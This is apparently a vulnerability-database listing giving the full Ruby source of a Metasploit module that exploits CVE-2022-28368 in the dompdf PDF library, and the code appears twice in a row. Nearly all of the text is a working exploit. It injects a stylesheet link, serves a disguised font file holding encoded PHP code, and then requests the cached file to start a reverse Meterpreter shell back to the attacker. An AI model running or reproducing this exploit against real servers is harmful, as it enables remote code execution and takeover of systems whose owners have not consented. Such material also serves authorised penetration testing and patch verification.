9.8
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
This Metasploit module exploits CVE-2022-28368, a remote code execution vulnerability in dompdf versions prior to 1.2.1. The vulnerability exists because dompdf preserves the original file extension when caching fonts downloaded via CSS @font-face...
Basic Information
ID
PACKETSTORM:221743
Published
May 21, 2026 at 00:00
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Dompdf RCE via Malicious Font Caching (CVE-2022-28368)',
'Description' => %q{
This module exploits CVE-2022-28368, a Remote Code Execution vulnerability
in dompdf versions prior to 1.2.1. The vulnerability exists because dompdf
preserves the original file extension when caching fonts downloaded via CSS
@font-face rules. By pointing a @font-face src to a .php file containing a
valid TrueType font header with embedded PHP code, the file is saved in the
dompdf font cache (lib/fonts/) with its .php extension intact. The cached
file can then be executed by directly requesting it from the web server.
For dompdf versions <= 0.8.5, remote font loading works regardless of the
$isRemoteEnabled setting. For versions 0.8.6 through 1.2.0, the
$isRemoteEnabled option must be set to true.
This module requires the ability to inject HTML/CSS into the data processed
by dompdf (e.g., via an XSS, a user-controlled form field, or a direct
parameter) and that the dompdf font cache directory is web-accessible.
},
'License' => MSF_LICENSE,
'Author' => [
'Maximilian Kirchmeier', # Vulnerability discovery (Positive Security)
'Fabian BrΓ€unlein', # Vulnerability discovery (Positive Security)
'rvizx', # PoC exploit
'msutovsky-r7', # Metasploit module final
'Adithya Pawar' # Metasploit module init
],
'References' => [
['CVE', '2022-28368'],
['GHSA', '56gj-mvh6-rp75'],
['URL', 'https://positive.security/blog/dompdf-rce'],
['URL', 'https://github.com/rvizx/CVE-2022-28368']
],
'Targets' => [
[
'PHP',
{
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Type' => :php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
]
],
'DisclosureDate' => '2022-04-05',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('DOMPDF_PATH', [true, 'Web-accessible path to the dompdf installation', '/dompdf']),
OptString.new('INJECT_PARAMETER', [true, 'The parameter allowing to inject custom CSS', '']),
]
)
end
FONT_HEADER = "\x00\x01\x00\x00\x00\x0F\x00\x80\x00\x03\x00\x70\x44\x53\x49\x47" \
"\x00\x00\x00\x01\x00\x00\x75\xE0\x00\x00\x00\x08\x47\x44\x45\x46" \
"\x00\x10\x00\xC7\x00\x00\x75\xE8\x00\x00\x00\x16\x47\x50\x4F\x53" \
"\x6C\x91\x74\x8F\x00\x00\x76\x00\x00\x00\x00\x20\x47\x53\x55\x42" \
"\xE0\x34\xE1\xE2\x00\x00\x76\x20\x00\x00\x00\x46\x4F\x53\x2F\x32" \
"\x34\xF4\x4A\xE2\x00\x00\x01\x78\x00\x00\x00\x60\x63\x6D\x61\x70" \
"\x65\xE2\xC8\xD2\x00\x00\x04\xF4\x00\x00\x02\x26\x67\x61\x73\x70" \
"\xFF\xFF\x00\x03\x00\x00\x75\xD8\x00\x00\x00\x08\x67\x6C\x79\x66" \
"\x1D\x57\xEE\x42\x00\x00\x08\xAC\x00\x00\x68\x6C\x68\x65\x61\x64" \
"\x1C\x59\xE0\x33\x00\x00\x00\xFC\x00\x00\x00\x36\x68\x68\x65\x61" \
"\x08\x66\x02\xF8\x00\x00\x01\x34\x00\x00\x00\x24\x68\x6D\x74\x78" \
"\x2C\xBF\xFF\xD3\x00\x00\x01\xD8\x00\x00\x03\x1C\x6C\x6F\x63\x61" \
"\x72\xA0\x8C\x94\x00\x00\x07\x1C\x00\x00\x01\x90\x6D\x61\x78\x70" \
"\x00\xD5\x01\x87\x00\x00\x01\x58\x00\x00\x00\x20\x6E\x61\x6D\x65" \
"\x3D\x94\x69\x86\x00\x00\x71\x18\x00\x00\x02\xE4\x70\x6F\x73\x74" \
"\x4C\x60\x52\x7C\x00\x00\x73\xFC\x00\x00\x01\xD9\x00\x01\x00\x00" \
"\x00\x01\x00\x00\x7C\x16\x35\xE6\x5F\x0F\x3C\xF5\x00\x0B\x03\xE8" \
"\x00\x00\x00\x00\xD7\x8F\x89\xE0\x00\x00\x00\x00\xE1\xCB\x12\x5C" \
"\xFF\x74\xFE\x93\x04\x6D\x04\x81\x00\x00\x00\x06\x00\x01\x00\x00" \
"\x00\x00".b.freeze
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'lib', 'fonts', 'dompdf_font_family_cache.php')
)
return Exploit::CheckCode::Safe('The target is not running DOMPDF') unless res&.code == 200
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'VERSION')
)
return Exploit::CheckCode::Safe('The target is not running DOMPDF') unless res&.code == 200
version = Rex::Version.new(res.body.strip)
return Exploit::CheckCode::Appears("The vulnerable version of DOMPDF #{version} detected") if version <= Rex::Version.new('1.2.0')
Exploit::CheckCode::Safe("The DOMPDF detected, but it's running patched version")
end
def on_request_uri(cli, request)
css_payload = %<
@font-face {
font-family:'#{@font_family_name}';
src:url('#{@malicious_font_uri}');
font-weight:'normal';
font-style:'normal';
}
>
font_payload = FONT_HEADER + %<\n<?php eval(base64_decode("#{Rex::Text.encode_base64(payload.encoded)}")) ?>>
case request.uri
when "/#{@css_name}"
print_status('Serving exploit CSS file to dompdf...')
send_response(cli, css_payload, {
'Content-Type' => 'text/css'
})
when "/#{@font_name}"
print_status('Serving font TTF file to dompdf...')
send_response(cli, font_payload, {
'Content-Type' => 'application/octet-stream'
})
else
print_error("Unexpected request: #{request.uri}")
send_not_found(cli)
end
end
def send_payload
param_name = datastore['INJECT_PARAMETER']
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH']),
'method' => 'GET',
'vars_get' =>
{
'pdf' => nil,
param_name => %(<link rel=stylesheet href='#{@malicious_css_uri}'>)
}
})
return true if res&.code == 200
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH']),
'method' => 'POST',
'vars_post' => {
param_name => %(<link rel=stylesheet href='#{@malicious_css_uri}'>)
}
})
return true if res&.code == 200
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH']),
'method' => 'POST',
'ctype' => 'application/json',
'data' => {
param_name => %(<link rel=stylesheet href='#{@malicious_css_uri}'>)
}.to_json
})
return true if res&.code == 200
false
end
def trigger_payload
send_request_cgi({
'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'lib', 'fonts', "#{@font_family_name.downcase}_normal_#{Rex::Text.md5(@malicious_font_uri)}.php"),
'method' => 'GET'
})
end
def load_malicious_font
@font_name = "#{Rex::Text.rand_text_alpha(8)}.php"
@css_name = "#{Rex::Text.rand_text_alpha(8)}.css"
@font_family_name = Rex::Text.rand_text_alpha(8)
binding_ip = srvhost_addr
proto = datastore['SSL'] ? 'https' : 'http'
@malicious_css_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{@css_name}"
@malicious_font_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{@font_name}"
fail_with(Failure::PayloadFailed, 'Failed to load malicious font') unless send_payload
end
def exploit
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => '/'
}
})
load_malicious_font
register_file_for_cleanup("#{@font_family_name.downcase}_normal_#{Rex::Text.md5(@malicious_font_uri)}.php")
trigger_payload
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Dompdf RCE via Malicious Font Caching (CVE-2022-28368)',
'Description' => %q{
This module exploits CVE-2022-28368, a Remote Code Execution vulnerability
in dompdf versions prior to 1.2.1. The vulnerability exists because dompdf
preserves the original file extension when caching fonts downloaded via CSS
@font-face rules. By pointing a @font-face src to a .php file containing a
valid TrueType font header with embedded PHP code, the file is saved in the
dompdf font cache (lib/fonts/) with its .php extension intact. The cached
file can then be executed by directly requesting it from the web server.
For dompdf versions <= 0.8.5, remote font loading works regardless of the
$isRemoteEnabled setting. For versions 0.8.6 through 1.2.0, the
$isRemoteEnabled option must be set to true.
This module requires the ability to inject HTML/CSS into the data processed
by dompdf (e.g., via an XSS, a user-controlled form field, or a direct
parameter) and that the dompdf font cache directory is web-accessible.
},
'License' => MSF_LICENSE,
'Author' => [
'Maximilian Kirchmeier', # Vulnerability discovery (Positive Security)
'Fabian BrΓ€unlein', # Vulnerability discovery (Positive Security)
'rvizx', # PoC exploit
'msutovsky-r7', # Metasploit module final
'Adithya Pawar' # Metasploit module init
],
'References' => [
['CVE', '2022-28368'],
['GHSA', '56gj-mvh6-rp75'],
['URL', 'https://positive.security/blog/dompdf-rce'],
['URL', 'https://github.com/rvizx/CVE-2022-28368']
],
'Targets' => [
[
'PHP',
{
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Type' => :php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
]
],
'DisclosureDate' => '2022-04-05',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('DOMPDF_PATH', [true, 'Web-accessible path to the dompdf installation', '/dompdf']),
OptString.new('INJECT_PARAMETER', [true, 'The parameter allowing to inject custom CSS', '']),
]
)
end
FONT_HEADER = "\x00\x01\x00\x00\x00\x0F\x00\x80\x00\x03\x00\x70\x44\x53\x49\x47" \
"\x00\x00\x00\x01\x00\x00\x75\xE0\x00\x00\x00\x08\x47\x44\x45\x46" \
"\x00\x10\x00\xC7\x00\x00\x75\xE8\x00\x00\x00\x16\x47\x50\x4F\x53" \
"\x6C\x91\x74\x8F\x00\x00\x76\x00\x00\x00\x00\x20\x47\x53\x55\x42" \
"\xE0\x34\xE1\xE2\x00\x00\x76\x20\x00\x00\x00\x46\x4F\x53\x2F\x32" \
"\x34\xF4\x4A\xE2\x00\x00\x01\x78\x00\x00\x00\x60\x63\x6D\x61\x70" \
"\x65\xE2\xC8\xD2\x00\x00\x04\xF4\x00\x00\x02\x26\x67\x61\x73\x70" \
"\xFF\xFF\x00\x03\x00\x00\x75\xD8\x00\x00\x00\x08\x67\x6C\x79\x66" \
"\x1D\x57\xEE\x42\x00\x00\x08\xAC\x00\x00\x68\x6C\x68\x65\x61\x64" \
"\x1C\x59\xE0\x33\x00\x00\x00\xFC\x00\x00\x00\x36\x68\x68\x65\x61" \
"\x08\x66\x02\xF8\x00\x00\x01\x34\x00\x00\x00\x24\x68\x6D\x74\x78" \
"\x2C\xBF\xFF\xD3\x00\x00\x01\xD8\x00\x00\x03\x1C\x6C\x6F\x63\x61" \
"\x72\xA0\x8C\x94\x00\x00\x07\x1C\x00\x00\x01\x90\x6D\x61\x78\x70" \
"\x00\xD5\x01\x87\x00\x00\x01\x58\x00\x00\x00\x20\x6E\x61\x6D\x65" \
"\x3D\x94\x69\x86\x00\x00\x71\x18\x00\x00\x02\xE4\x70\x6F\x73\x74" \
"\x4C\x60\x52\x7C\x00\x00\x73\xFC\x00\x00\x01\xD9\x00\x01\x00\x00" \
"\x00\x01\x00\x00\x7C\x16\x35\xE6\x5F\x0F\x3C\xF5\x00\x0B\x03\xE8" \
"\x00\x00\x00\x00\xD7\x8F\x89\xE0\x00\x00\x00\x00\xE1\xCB\x12\x5C" \
"\xFF\x74\xFE\x93\x04\x6D\x04\x81\x00\x00\x00\x06\x00\x01\x00\x00" \
"\x00\x00".b.freeze
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'lib', 'fonts', 'dompdf_font_family_cache.php')
)
return Exploit::CheckCode::Safe('The target is not running DOMPDF') unless res&.code == 200
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'VERSION')
)
return Exploit::CheckCode::Safe('The target is not running DOMPDF') unless res&.code == 200
version = Rex::Version.new(res.body.strip)
return Exploit::CheckCode::Appears("The vulnerable version of DOMPDF #{version} detected") if version <= Rex::Version.new('1.2.0')
Exploit::CheckCode::Safe("The DOMPDF detected, but it's running patched version")
end
def on_request_uri(cli, request)
css_payload = %<
@font-face {
font-family:'#{@font_family_name}';
src:url('#{@malicious_font_uri}');
font-weight:'normal';
font-style:'normal';
}
>
font_payload = FONT_HEADER + %<\n<?php eval(base64_decode("#{Rex::Text.encode_base64(payload.encoded)}")) ?>>
case request.uri
when "/#{@css_name}"
print_status('Serving exploit CSS file to dompdf...')
send_response(cli, css_payload, {
'Content-Type' => 'text/css'
})
when "/#{@font_name}"
print_status('Serving font TTF file to dompdf...')
send_response(cli, font_payload, {
'Content-Type' => 'application/octet-stream'
})
else
print_error("Unexpected request: #{request.uri}")
send_not_found(cli)
end
end
def send_payload
param_name = datastore['INJECT_PARAMETER']
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH']),
'method' => 'GET',
'vars_get' =>
{
'pdf' => nil,
param_name => %(<link rel=stylesheet href='#{@malicious_css_uri}'>)
}
})
return true if res&.code == 200
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH']),
'method' => 'POST',
'vars_post' => {
param_name => %(<link rel=stylesheet href='#{@malicious_css_uri}'>)
}
})
return true if res&.code == 200
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH']),
'method' => 'POST',
'ctype' => 'application/json',
'data' => {
param_name => %(<link rel=stylesheet href='#{@malicious_css_uri}'>)
}.to_json
})
return true if res&.code == 200
false
end
def trigger_payload
send_request_cgi({
'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'lib', 'fonts', "#{@font_family_name.downcase}_normal_#{Rex::Text.md5(@malicious_font_uri)}.php"),
'method' => 'GET'
})
end
def load_malicious_font
@font_name = "#{Rex::Text.rand_text_alpha(8)}.php"
@css_name = "#{Rex::Text.rand_text_alpha(8)}.css"
@font_family_name = Rex::Text.rand_text_alpha(8)
binding_ip = srvhost_addr
proto = datastore['SSL'] ? 'https' : 'http'
@malicious_css_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{@css_name}"
@malicious_font_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{@font_name}"
fail_with(Failure::PayloadFailed, 'Failed to load malicious font') unless send_payload
end
def exploit
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => '/'
}
})
load_malicious_font
register_file_for_cleanup("#{@font_family_name.downcase}_normal_#{Rex::Text.md5(@malicious_font_uri)}.php")
trigger_payload
end
end